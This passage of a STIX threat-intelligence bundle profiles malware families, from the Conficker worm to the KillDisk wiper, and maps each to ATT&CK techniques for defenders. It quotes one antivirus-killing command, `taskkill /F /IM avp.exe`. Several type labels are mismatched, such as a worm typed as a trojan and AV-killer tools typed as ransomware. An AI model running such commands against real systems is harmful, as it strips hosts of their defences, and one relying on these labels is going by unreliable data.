cracks, allows the execution. The dropped payload then establishes persistence (`T1547.001`) and begins its malicious activity, while the keygen may actually generate a working license key to keep the user unsuspicious.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from credential theft to full network compromise via ransomware, initiated by a single user's action. Host-based IoCs include EDR alerts for known hacking tools, the execution of unsigned binaries from `%Downloads%` or `%Temp%`, and the user intentionally disabling Windows Defender or creating exclusion paths. The execution of a keygen is often followed immediately by anomalous network connections or process injection. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kgen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kgen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5178c3ee-f8eb-580e-9457-775bf9f13988",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d3698ca-c7ed-5467-b544-90af61ae080a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kgen exhibits technique T1204.002 (User Execution: Malicious File (The user intentionally running the untrusted keygen))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7e5e142-49ff-569e-8660-23a1b0bb3bfd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d3698ca-c7ed-5467-b544-90af61ae080a",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kgen exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Hiding the malware payload inside the keygen wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8c96c15-dd6f-5e05-9139-8dc5572a3f66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d3698ca-c7ed-5467-b544-90af61ae080a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kgen exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Users often disable AV to run keygens))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7bda859-331d-596f-967d-06953f7ec195",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Khalesi",
      "description": "Backdoor:Win32/Khalesi is an evasive, modular information stealer and Remote Access Trojan (RAT) engineered to harvest corporate banking credentials, system configurations, and user identity artifacts while evading perimeter security controls. Operating by injecting its core payload directly into trusted Windows processes (such as explorer.exe or svchost.exe via process hollowing), Khalesi executes dynamic API hooking against web browsers and desktop applications to record keystrokes, capture screen images, and extract saved passwords. To withstand command infrastructure takedowns, Khalesi incorporates resilient fallback communication routines, including domain generation algorithms (DGA) and encrypted HTTPS tunnels, allowing operators to exfiltrate financial data and download secondary modules without persistent disk artifacts. (Observed samples in benchmark: 555)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Khalesi",
        "Backdoor:Win32/Khalesi",
        "Trojan.Khalesi",
        "Win32/Khalesi",
        "Infostealer.Khalesi",
        "Trojan:Win32/Khalesi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Khalesi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/khalesi"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--097e0a5a-1521-52e3-9e2d-a15ef7d3346f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7bda859-331d-596f-967d-06953f7ec195",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Khalesi exhibits technique T1055.012 (Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0470edac-4d01-57ad-a0c2-f167772c2437",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7bda859-331d-596f-967d-06953f7ec195",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Khalesi exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f747406-b5d3-5789-923f-edc2554ca922",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7bda859-331d-596f-967d-06953f7ec195",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Khalesi exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01969e70-64ec-515f-869d-20886b2d3004",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7bda859-331d-596f-967d-06953f7ec195",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Khalesi exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0783150f-edf7-50c7-aaaa-cf7df35a29b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7bda859-331d-596f-967d-06953f7ec195",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Khalesi exhibits technique T1568.002 (Domain Generation Algorithms)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--662186fd-cb90-5212-a400-a2eac09f7b64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7bda859-331d-596f-967d-06953f7ec195",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Khalesi exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c675bf66-de11-5655-b08e-917e94a88230",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7bda859-331d-596f-967d-06953f7ec195",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Khalesi exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f02336cb-36f2-57fa-8033-0bc1148f0890",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kheagol",
      "description": "<h3>Executive Summary</h3>\nKheagol is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKheagol is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Kheagol operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Kheagol ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Kheagol receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kheagol infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Kheagol executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Kheagol frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Kheagol",
        "Downloader.Kheagol",
        "Win32/Kheagol"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kheagol",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kheagol"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b648eaf5-8e87-553c-8456-78937fe63247",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f02336cb-36f2-57fa-8033-0bc1148f0890",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kheagol exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b54d9d2a-0cd2-51ce-8a49-006441313ccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f02336cb-36f2-57fa-8033-0bc1148f0890",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kheagol exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f9fb4d3-6044-5911-98dc-8d2e43431f81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f02336cb-36f2-57fa-8033-0bc1148f0890",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kheagol exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bf82371d-11de-56dd-be62-e90f06063405",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kido",
      "description": "Worm:Win32/Kido (universally known in the cybersecurity community as **Conficker**) is one of the most infamous, widespread, and devastating computer worms in history. First detected in late 2008, it rapidly infected millions of Windows computers globally, including critical government, military, and corporate infrastructure. It is famous for its aggressive self-propagation mechanisms, its pioneering use of a Domain Generation Algorithm (DGA) for command-and-control, and its ability to completely disable Windows security services.<br><br><b>Understanding the Conficker (Kido) Worm</b><br>To an end-user, a Conficker infection might result in the inability to access security vendor websites (e.g., microsoft.com, symantec.com) and account lockouts. For a network administrator, Conficker is a nightmare; it causes massive network congestion due to its aggressive scanning and creates a highly resilient botnet capable of receiving arbitrary payloads from its masters. It proved how devastating a worm utilizing a known, unpatched vulnerability could be.<br><br><b>Execution and Unprecedented Spreading Mechanics</b><br>Conficker primarily spreads by exploiting **MS08-067**, a critical vulnerability in the Windows Server service (`T1210`). It actively scans the local subnet and the internet for unpatched machines, sending a crafted RPC request that triggers a buffer overflow, allowing it to execute code remotely and install itself without user interaction. It also spreads via USB drives using deceptive `autorun.inf` files (`T1091`) and attempts to brute-force network file shares using weak administrator passwords (`T1110.001`). Once installed, it drops itself as a randomly named DLL (e.g., `C:\\Windows\\System32\\xxyyzz.dll`) and registers itself as a hidden Windows service (`svchost.exe`) (`T1543.003`). To prevent removal, it terminates AV processes, blocks access to security websites via DNS poisoning, and disables Windows AutoUpdate (`T1562.001`). Crucially, to receive updates and commands, later variants generated up to 50,000 pseudo-random domain names a day (DGA), making it incredibly difficult for authorities to sinkhole the C2 infrastructure (`T1568.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact was the creation of the largest botnet in history at the time, and severe network disruption. Host-based IoCs include EDR alerts for anomalous DLLs loading into `svchost.exe` (specifically the `netsvcs` group), the inability to access Windows Update, and sudden Account Lockout events across the domain as the worm attempts lateral movement. Network IoCs include massive spikes in outbound port 445 (SMB) traffic (scanning) and thousands of DNS requests for non-existent, randomly generated domains. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kido",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kido"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbbcc9c4-e9ed-5743-8dac-fef90e67f899",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf82371d-11de-56dd-be62-e90f06063405",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kido exhibits technique T1210 (Exploitation of Remote Services (MS08-067 / SMB))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34691bdc-cb4d-5bbe-bfa3-1079f6b0b48b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf82371d-11de-56dd-be62-e90f06063405",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kido exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--144e5fe8-bd71-5848-bcc6-52d4f499cd22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf82371d-11de-56dd-be62-e90f06063405",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kido exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling AV and Windows Update))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5980d7a0-726c-501d-b0c3-23e384c912db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf82371d-11de-56dd-be62-e90f06063405",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kido exhibits technique T1091 (Replication Through Removable Media (USB autorun))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a506c852-92ef-5319-b1ba-d5dca17e1df4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Killall",
      "description": "<h3>Executive Summary</h3>\nKillAll is a classification for malicious scripts, utilities, or \"HackTools\" specifically designed to aggressively terminate running processes across an operating system. While system administrators use legitimate tools to manage processes, threat actors deploy \"KillAll\" variants defensively to disable endpoint security software (AV/EDR), or offensively as a crude \"wiper\" to induce immediate system instability and denial of service.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKillAll is not a self-propagating virus. It is a tactical tool deployed *after* an attacker has gained a foothold, typically used immediately prior to launching a primary payload (like ransomware) or during the exfiltration phase to disable monitoring.\n\nIts execution is straightforward but highly disruptive:\n<ul>\n<li><strong>Security Software Neutralization:</strong> The script (often a batch file, PowerShell script, or small compiled executable) iterates through the active process list and aggressively attempts to kill processes associated with known antivirus, EDR, and logging services (e.g., `taskkill /F /IM avp.exe`).</li>\n<li><strong>Database Unlocking (Ransomware Prep):</strong> In ransomware attacks, KillAll tools are used to forcibly terminate database services (SQL Server, Exchange) and enterprise applications. This releases file locks, allowing the ransomware to successfully encrypt the critical database files.</li>\n<li><strong>System Instability:</strong> Extremely aggressive variants may attempt to terminate critical Windows subsystem processes, resulting in an immediate Blue Screen of Death (BSOD) or forced reboot, masking other malicious activities.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe execution of a \"KillAll\" script is a critical, \"break-glass\" security incident. It indicates an active, hands-on-keyboard adversary (or a highly automated ransomware strain) is preparing the environment for a catastrophic attack by systematically blinding the organization's defensive and monitoring capabilities.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation and Triage:</strong> The execution of this tool means perimeter defenses have failed and internal monitoring is compromised. Isolate the affected endpoints immediately. Assume a major payload (like ransomware) is imminent or already deploying.</li>\n<li><strong>Investigate the Source:</strong> Determine how the script was executed (e.g., via a compromised RDP session, a scheduled task, or a web shell). This identifies the attacker's entry point.</li>\n<li><strong>Re-enable Defenses and Re-image:</strong> Endpoints where security tools were successfully neutralized must be considered deeply compromised. A complete bare-metal wipe and re-image from a trusted baseline is required before the machine can be trusted on the network again.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.KillAll",
        "Trojan.KillAV",
        "Script.Wiper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Killall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/killall"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15b1cf5d-9ebc-53b6-afe0-0f20bc18bc52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a506c852-92ef-5319-b1ba-d5dca17e1df4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killall exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f842356c-a665-5f21-9666-c35b7154fd8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a506c852-92ef-5319-b1ba-d5dca17e1df4",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killall exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3238d967-ae29-57cd-b7ea-73d9a5a6239e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a506c852-92ef-5319-b1ba-d5dca17e1df4",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killall exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aeb493f9-d8f8-5277-83fd-5c1d862decae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a506c852-92ef-5319-b1ba-d5dca17e1df4",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killall exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8decc2ab-83b6-5f2b-92cc-db3183356b9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a506c852-92ef-5319-b1ba-d5dca17e1df4",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killall exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a8ea387-034e-54fb-9251-d4b8f8315fa7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a506c852-92ef-5319-b1ba-d5dca17e1df4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killall exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dd8b15ee-90dd-5445-9a3b-b4790cd2343f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Killapp",
      "description": "<h3>Executive Summary</h3>\nKillApp (often detected as Riskware.KillApp, Tool.KillApp, or Trojan.KillApp) identifies a specific class of malicious utilities or scripts designed with a singular purpose: to forcefully terminate running processes, specifically targeting antivirus (AV), Endpoint Detection and Response (EDR) agents, and other critical security software. Threat actors use KillApp in the very early stages of an attack to blind the system before deploying their primary payload.\n\n<h3>Technical Architecture and Exploitation</h3>\nKillApp is typically not a standalone threat; it is usually dropped and executed by an initial loader or macro immediately prior to the execution of a more destructive payload (like ransomware).\n\nIts execution lifecycle relies heavily on aggressive system manipulation:\n<ul>\n<li><strong>Process Enumeration:</strong> Upon execution, KillApp rapidly enumerates all running processes on the system, cross-referencing them against a hardcoded list of known security vendors (e.g., `MsMpEng.exe`, `ekrn.exe`, `avp.exe`).</li>\n<li><strong>Forceful Termination:</strong> It utilizes Windows APIs (such as `TerminateProcess`) to forcefully kill the identified security software. </li>\n<li><strong>Service Disablement:</strong> To ensure the AV does not restart, advanced variants of KillApp will attempt to stop the associated Windows Services and alter their startup type in the Registry (e.g., `HKLM\\SYSTEM\\CurrentControlSet\\Services`) to \"Disabled.\"</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA KillApp detection is a critical, \"break-glass\" security incident. The presence of this tool indicates that a threat actor has successfully gained execution on a host and is actively attempting to strip away its defenses. If KillApp succeeds, the system is completely vulnerable to whatever secondary payload the attacker chooses to deploy next.\n\n<h3>Incident Response and Mitigation</h3>\n<ul>\n<li><strong>EDR Tamper Protection:</strong> The most effective defense against KillApp is robust Tamper Protection within the EDR/AV solution. This prevents unauthorized processes (even those running as Administrator) from terminating the EDR agent or modifying its core files and registry keys.</li>\n<li><strong>Immediate Network Isolation:</strong> If an alert fires indicating that security services have been stopped or terminated unexpectedly, the endpoint must be isolated from the network immediately, as a secondary payload is likely imminent.</li>\n<li><strong>Forensic Investigation:</strong> Because KillApp is a precursor tool, incident responders must immediately investigate *how* KillApp was executed (e.g., tracing it back to a weaponized document or a compromised remote access tool).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.KillApp",
        "Tool.KillApp",
        "Trojan:Win32/KillApp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Killapp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/killapp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b21338be-6327-593e-912e-57e0680097c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd8b15ee-90dd-5445-9a3b-b4790cd2343f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killapp exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82446e1b-39a2-5a79-b5f0-b041621938a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd8b15ee-90dd-5445-9a3b-b4790cd2343f",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killapp exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61c6cb38-7ef1-589f-8fb6-f38b66bcb16c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd8b15ee-90dd-5445-9a3b-b4790cd2343f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killapp exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f0cf307d-b170-517d-b01c-add72232ebe5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Killdisk",
      "description": "Trojan:Win32/KillDisk is a catastrophic industrial wiper malware family developed and deployed by Russian military intelligence hackers belonging to the Russian GRU Unit 74455 (known globally as Sandworm, TeleBots, and BlackEnergy Group). KillDisk achieved global notoriety on December 23, 2015, when it was deployed as the destructive terminal phase of the historic cyberattack against the Ukrainian electrical power grid (Kyivoblenergo), plunging over 230,000 citizens into freezing darkness. After operators remotely opened circuit breakers at substations, KillDisk was executed across master SCADA workstations, uninterruptible power supplies (UPS), and operator human-machine interfaces (HMIs). KillDisk forcefully overwrote Master Boot Records (MBRs) with raw garbage data, corrupted system file headers across physical hard disks, and wiped Windows event logs to permanently brick industrial controllers and delay recovery. In October 2020, the United States Department of Justice indicted six Russian GRU officers for the deployment of KillDisk, BlackEnergy, NotPetya, and Olympic Destroyer in federal court in the Western District of Pennsylvania. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "wiper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "KillDisk",
        "Wiper.KillDisk",
        "Trojan.KillDisk",
        "Sandworm Wiper",
        "Win32/KillDisk"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
